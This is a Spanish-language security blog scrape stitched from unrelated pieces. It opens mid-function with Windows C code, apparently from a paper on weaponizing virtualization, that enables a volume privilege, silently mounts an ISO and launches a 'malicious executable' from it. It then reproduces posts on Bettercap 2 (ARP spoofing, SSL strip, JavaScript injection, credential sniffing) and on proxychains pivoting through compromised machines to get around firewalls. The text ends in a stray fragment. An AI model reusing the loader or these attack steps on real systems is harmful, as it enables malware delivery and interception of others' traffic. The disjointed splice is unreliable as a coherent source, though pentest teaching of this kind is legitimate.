    static GUID VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT_EX = { 0xEC984AEC ,0xA0F9, 0x47e9, 0x901F, 0x71415A66345B };
    LUID Luid = { 0 };
    TOKEN_PRIVILEGES Tp = { 0 };
    PSECURITY_DESCRIPTOR Sd;
    DWORD dwData = DEFAULT_DATA_ALLOCATION_SIZE;
    STARTUPINFOW Info = { 0 };
    PROCESS_INFORMATION ProcessInformation = { 0 };

    //make sure we're on Windows 10
    if (Peb->OSMajorVersion != 0x0a)
        goto FAILURE; 

    //get userprofile e.g. %SystemDrive%\Users\{username}
    if (GetEnvironmentVariableW(L"USERPROFILE", lpIsoPath, DEFAULT_DATA_ALLOCATION_SIZE) == 0)
        goto FAILURE;
    else //append \\desktop\\demo.iso if successful
        wcscat(lpIsoPath, L"\\Desktop\\Demo.iso");

    //get thread tokens
    if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
    {
        if (!ImpersonateSelf(SecurityImpersonation))
            goto FAILURE;

        if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
            goto FAILURE;
    }

    //see if we have the privilege to manage volumes
    if (!LookupPrivilegeValueW(NULL, L"SeManageVolumePrivilege", &Luid))
        goto FAILURE;

    Tp.PrivilegeCount = 1;
    Tp.Privileges[0].Luid = Luid;
    Tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    //get SeManageVolumePrivilege
    if (!AdjustTokenPrivileges(hToken, FALSE, &Tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, NULL))
        goto FAILURE;

    VirtualStorageType.DeviceId = VIRTUAL_STORAGE_TYPE_DEVICE_ISO;
    VirtualStorageType.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT_EX;

    Parameters.Version = OPEN_VIRTUAL_DISK_VERSION_1;
    Parameters.Version1.RWDepth = OPEN_VIRTUAL_DISK_RW_DEPTH_DEFAULT;

    //open iso file
    if(OpenVirtualDisk(&VirtualStorageType, lpIsoPath, 
                       VIRTUAL_DISK_ACCESS_ATTACH_RO | VIRTUAL_DISK_ACCESS_GET_INFO, 
                       OPEN_VIRTUAL_DISK_FLAG_NONE, &Parameters, 
                       &VirtualObject) != ERROR_SUCCESS)
    {
        goto FAILURE;
    }

    //attach to harddisk with no drive letter/path
    AttachParameters.Version = ATTACH_VIRTUAL_DISK_VERSION_1;
    if (AttachVirtualDisk(VirtualObject, 0, 
                          ATTACH_VIRTUAL_DISK_FLAG_READ_ONLY | ATTACH_VIRTUAL_DISK_FLAG_NO_DRIVE_LETTER, 
                          0, &AttachParameters, 0) != ERROR_SUCCESS)
    {
        goto FAILURE;
    }

    
    //get physical path
    if (GetVirtualDiskPhysicalPath(VirtualObject, &dwData, lpIsoAbstractedPath) != ERROR_SUCCESS)
        goto FAILURE;
    else //if we are able to get physical path, append payload exe that we know is inside of iso file
        wcscat(lpIsoAbstractedPath, L"\\Demo.exe");

    //run malicious executable
    if (!CreateProcess(lpIsoAbstractedPath, NULL, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &Info, &ProcessInformation))
        goto FAILURE;

    //close everything
    if (VirtualObject)
        CloseHandle(VirtualObject);

    if (hToken)
        CloseHandle(hToken);
    
    return ERROR_SUCCESS;

FAILURE: //generic error handling routine, get last error and close any handles that may be open

    dwError = GetLastError();

    if (VirtualObject)
        CloseHandle(VirtualObject);

    if (hToken)
        CloseHandle(hToken);

    return dwError;
}

PPEB RtlGetPeb(VOID)
{
    return (PPEB)__readgsqword(0x60);
}

Fuente: https://vxug.fakedoma.in/papers/VXUG/Exclusive/WeaponizingWindowsVirtualization.pdf

jueves, 18 de junio de 2020

Bettercap 2: La evolución de la navaja suiza de red y el poder de los Caplets

Hace un par de años hablé sobre Bettercap y MITMf dos herramientas que permiten llevar a cabo pruebas de ataques en redes IPv4 & IPv6 modernos. Con Bettercap hablamos de la facilidad de uso y de la facilidad de extensión. Respecto a MITMf, quizá una de mis favoritas, hablamos sobre todas las posibilidades que la herramienta ofrece. La primera escrita en Ruby, la segunda en Python. El autor de Bettercap decidió migrar la herramienta al lenguaje Go, dejando atrás a Ruby. Además, la herramienta ha sufrido un cambio de repositorio oficial.

Figura 1: Bettercap 2: La evolución de la navaja suiza de red y el poder de los Caplets

En febrero de este año Evilsocket, investigador de seguridad autor de Bettercap, lanzó un comunicado en su sitio web. Estaba lanzando la segunda generación de Bettercap con el cambio de lenguaje y la reimplementación de la mayoría de funcionalidades.

Figura 2: Comunicado de BetterCap 2.0

Lo interesante de la nueva generación de Bettercap no era solo el disponer de ataques MITM de red modernos, si no poder monitorizar y hacer ataques 802.11 y BLE, incluso desde un macOS. Esto es algo que me llamó la atención, por lo que quise encontrar hueco para probarlo.

¿Qué cosas ha cambiado Bettercap 2?

Realmente son más de las que uno puede pensar. En principio, uno puede pensar que ha perdido en flexibilidad, ya que ahora la herramienta no se ejecuta con parámetros, se ejecuta de forma interactiva como veremos más adelante. Esto realmente la hace más flexible, más configurable, pero uno debe aprender un poco la sintaxis para interactuar.

¿Qué son los Caplets?

Quizá la cosa más interesante, junto a los ataques BLE y WiFi, sea la posibilidad de utilizar Caplets. Un Caplet es un fichero con extensión .cap que implementa un script de Bettercap. No deja de ser un fichero de texto que por cada línea dispone de una instrucción a ejecutar, tal y como ocurre con los ficheros RC de Metasploit.

Figura 3: Caplets en Bettercap 2.0

Dentro del proyecto Bettercap podemos encontrar un repositorio con un gran número de Caplets, que entiendo irá creciendo con el paso del tiempo. Sin duda, una forma sencilla de poder implementar ciertas configuraciones y ataques. Obligatorio echar un ojo al código y a las instrucciones que ejecutan estos caplets.

Interactuando y entendiendo el nuevo Bettercap

Cuando se ejecuta Bettercap aparece un prompt que indica la dirección IP. Si tabulamos en el prompt veremos las diferentes opciones, entre las que encontraremos caplets, de los cuales hablaremos más adelante. Principalmente encontramos módulos como:
Events. Con este módulo podemos controlar el tipo de información visualizamos, aplicar filtro sobre ésta, etcétera. 
Arp. Con este módulo podemos realizar ataques de ARP Spoofing. 
Wifi. Con este módulo se puede monitorizar el estado de redes y montar puntos de acceso de tipo Rogue. 
Wol. Generación de tramas de tipo Wake On Lan. 
http y https proxy. Este tipo de soluciones implementan proxies http y https con diferentes opciones como la inyección de código Javascript, manipulación de tráfico, generación de certificados, SSL Strip, etcétera. 
Net. Este módulo permite sniffar la red a través de una interfaz o de otras. Se puede almacenar la información en un PCAP y mostrar en la interfaz el tipo de tráfico obtenido.  
Servidores Rogue. de tipo MySQL y http. 
Compatibilidad con IPv6. Perfecto para probar todos los ataques del libro de Ataques en rede IPv4 & IPv6.
Figura 4: Funciones de Bettercap 2.0

A modo de ejemplo y de facilidad de uso configuraremos un ataque de tipo ARP Spoofing. Con dos líneas en Bettercap obtenemos el efecto deseado. El comando set, configura el parámetro targets dentro del módulo Spoof, tal y como se puede ver en la imagen siguiente. Una vez configurado los targets se puede arrancar el envenenamiento a través de la instrucción arp.spoof on.

Figura 5: Configurando un arp spoofing

Con la opción help se pueden ver los módulos que hay en ejecución y cuáles no. Es un interesante comando para poder los módulos que disponemos en la herramienta.

Figura 6: Módulos de la herramienta

Ahora si queremos activar el proxy http podemos configurar los siguientes parámetros. Se puede configurar el puerto del proxy, la dirección a la que hacer bind, configurar si queremos SSL Strip a través del proxy, si queremos inyectar código Javascript en el HTML con la opción http.proxy.injectjs o si queremos ejecutar algún tipo de script con la opción http.proxy.script.

Figura 7: Configuración de proxy http

En la siguiente imagen se puede ver cómo se puede configurar el proxy y cómo se activa el sniffer para poder visualizar el tráfico o volcarlo en un fichero.

Figura 8:  Volcado de info de proxy

Aquí se puede jugar con events.stream, ya que si lo configuramos a false no se visualizará por pantalla, pero podemos indicar a net.sniff con el comando set net.sniff.output dónde queremos volcar el buffer de red a un fichero PCAP.

PoC: Funcionando con Caplets

Los caplets son scripts que están para facilitarnos la vida. Es muy interesante abrirlos y ver cómo están configurando Bettercap. Para este pequeño ejemplo vamos a utilizar uno que utiliza el Proxy http para volcarnos el contenido de las peticiones http. Desde el terminal se hace uso del parámetro caplet para indicar el script que queremos utilizar, mientras que con el parámetro eval se puede indicar una serie de instrucciones que queremos ejecutar, serán complementarias a lo que marca el caplet.

Figura 9: Usando un caplet

En este caso, tenemos ahora mismo funcionando el proxy y se ha realizado a través del parámetro eval un ataque de ARP Spoofing como el anterior. Como se puede ver en la imagen, se muestran las cabeceras http y el contenido de formularios y cualquier cosa que vaya en el protocolo.

Figura 10: Caplet funcionando

Por último, indicar que con la opción caplets.update podemos actualizar los scripts disponibles y que automatizan el uso de la herramienta. No dudes en estudiarlos y poder ampliar funcionalidades a través de ellos. Por otro lado, la opción show de caplets permite mostrar el número de caplets disponibles en la máquina por Bettercap2.

Figura 11: Caplets disponibles

Sin duda, una herramienta para estudiar y practicar. Hay que llevarla en la mochila en cualquier Ethical Hacking, ya que su segunda generación aporta una frescura y un potencial más que interesante. Parece que Bettercap es un proyecto muy vivo.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advance Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDO de Evil Code Center.

Tunelizar conexiones con Proxychains

El concepto de pivoting entre máquinas también viene asociado a esto y es que si proponemos un escenario de pentesting en el que:

Máquina A no tiene conectividad con la máquina C: Hay un firewall que nos bloquea.
Máquina B si tiene conectividad con la máquina C.
Túnel de A a C, pasando por B: Si logramos acceso a la máquina B, podremos utilizarla para desde la máquina A pasar por la máquina B y lograr conectividad con la C.
Figura 2: Esquema del escenario. La máquina del atacante está bloqueada.

El esquema representa el escenario anterior. Por alguna razón no tenemos conectividad con la máquina que queremos auditar / atacar, pero encontramos una máquina que tiene permiso para conectar con el objetivo. Utilizaremos una forma de pivotar nuestras peticiones.

¿Cómo logro acceso a la máquina pivote?

Esto es un debate siempre en los cursos, hay muchas formas, y es que habrá que auditarla y conseguir acceso a esa máquina. Generalmente, mediante el aprovechamiento de una vulnerabilidad en la máquina intermedia utilizando algún exploit. Existen otras formas menos directas como es el robo de alguna credencial de dicha máquina o, incluso, la realización de fuerza bruta en busca de alguna debilidad. Sea como sea partimos de que tenemos control sobre dicha máquina.

Utilizaremos conexiones SSH para acceder a la máquina con las siguientes opciones:
El parámetro –N: Le decimos a la máquina remota que no ejecute ningún comando a través de la sesión abierta de SSH.
El parámetro –f: Deja la conexión SSH en background una vez nos autenticamos.
El parámetro –D: Crea un túnel para realizar port-forwarding. Este es el parámetro dónde se está creando el servidor SOCKS. El puerto que se queda abierto en nuestra máquina es el que se indica con el parámetro –D, por ejemplo utilizaremos 1080. Todo lo que enviemos desde nuestra máquina al puerto 1080 será redirigido hacia el túnel SOCKS que estamos creando.
Preparando el pivote

La instrucción que se ejecuta es ssh –NfD [puerto a la escucha en local] [user ssh]@[ip]. Como se puede ver en la imagen, la dirección IP del primer pivote acaba X.X.9.95. Este es un detalle para más adelante.

Figura 3: Configuración de ssh en la máquina pivote

Tras autenticarnos tenemos la conexión y el túnel montado entre nuestro puerto 1080 y una máquina remota. Utilizaremos proxychains para pasar por la máquina intermedia. Editando el fichero de configuración que se encuentra en /etc/proxychains.conf tenemos que tener en cuenta la dirección IP a la que enviar el tráfico, en este caso será nuestro propio localhost y el puerto a la escucha, en este caso el 1080.

Hay que recalcar que este tipo de acciones se pueden hacer con pivotes, por ejemplo, obtenidos con Metasploit y aprovecharnos del potencial de un Meterpreter a través de varios saltos, pero eso será cuestión de otro artículo.

Figura 4: Configuración de proxychains.conf

En la imagen anterior se ve la configuración de proxychains. La que ahora mismo está preparada es la del puerto 1080. Utilizaremos proxychains para sacar el tráfico por la conexión. La sintaxis es sencilla en un terminal podemos escribir proxychains [nombre programa] y la aplicación sacará su tráfico por el túnel montado.

Para hacer un ejemplo rápido ejecutamos en Kali Linux el comando proxychains iceweasel. Al navegar a un sitio de consulta de dirección IP pública veremos que acaba en 9.95, por lo que es la dirección IP de la máquina pivote.

Figura 5: Navegando a través de la máquina pivote

Si desde Iceweasel intentamos abrir una conexión HTTP con otra máquina y en esa máquina tenemos acceso podríamos ver con tcpdump una captura de red y ver la dirección IP origen. El resultado es igual, la dirección IP origen es la que acaba en 9.95, por lo que volvemos a ver que el receptor de las peticiones ve como emisor a otra dirección IP.

Figura 6: Tráfico capturado por tcpdump a través del máquina pivote

De este modo, el caso del bloqueo del firewall quedaría resuelto, si la dirección IP acabada en 9.95 tiene permiso.

Metiendo más saltos: Chain++

Meter más máquinas en la conexión es sencillo con proxychains. Simplemente tenemos que añadir al fichero de proxychains.conf una nueva dirección IP, la cual seguirá siendo nuestro localhost de nuevo, y un nuevo puerto. Es importante que los puertos no coincidan, por lo que ahora utilizaremos el 1081.

Figura 7: Añadiendo otro salto en proxychains.conf

Abriendo una conexión SSH entre la máquina pivote 1 y pivote 2, será proxychains el que hará que el tráfico pase primero al privote 1, luego al pivote 2 y posteriormente llegue al destino. En la siguiente imagen se puede ver un ejemplo claro y sencillo de ello. Utilizando el programa curl pedimos el recurso al dominio ip.appspot.com, el cual sencillamente te da la dirección IP que hace la solicitud.

Cuando hacemos la petición sin proxychains vemos que nos proporcionan una dirección IP X.X.9.148, mientras que cuando utilizamos proxychains obtenemos una dirección IP X.X.6.9, la cual no es la que teníamos antes (que se quedó siendo el primer pivote). Ahora en el destino obtenemos que el tráfico viene de la dirección IP del segundo pivote.

Figura 8: petición curl vía proxychains a ip.appspot.com

Como se ha podido ver es fácil encadenar máquinas y pivotes para sacar tráfico de forma anónima o utilizar las cadenas para bypassear mecanismos de seguridad en una auditoría. Esto se puede juntar con Metasploit y obtener un gran potencial de la mano de un Meterpreter en una post-explotación, pero como dije anteriormente: queda para otro artículo.

 

CLOWN SAW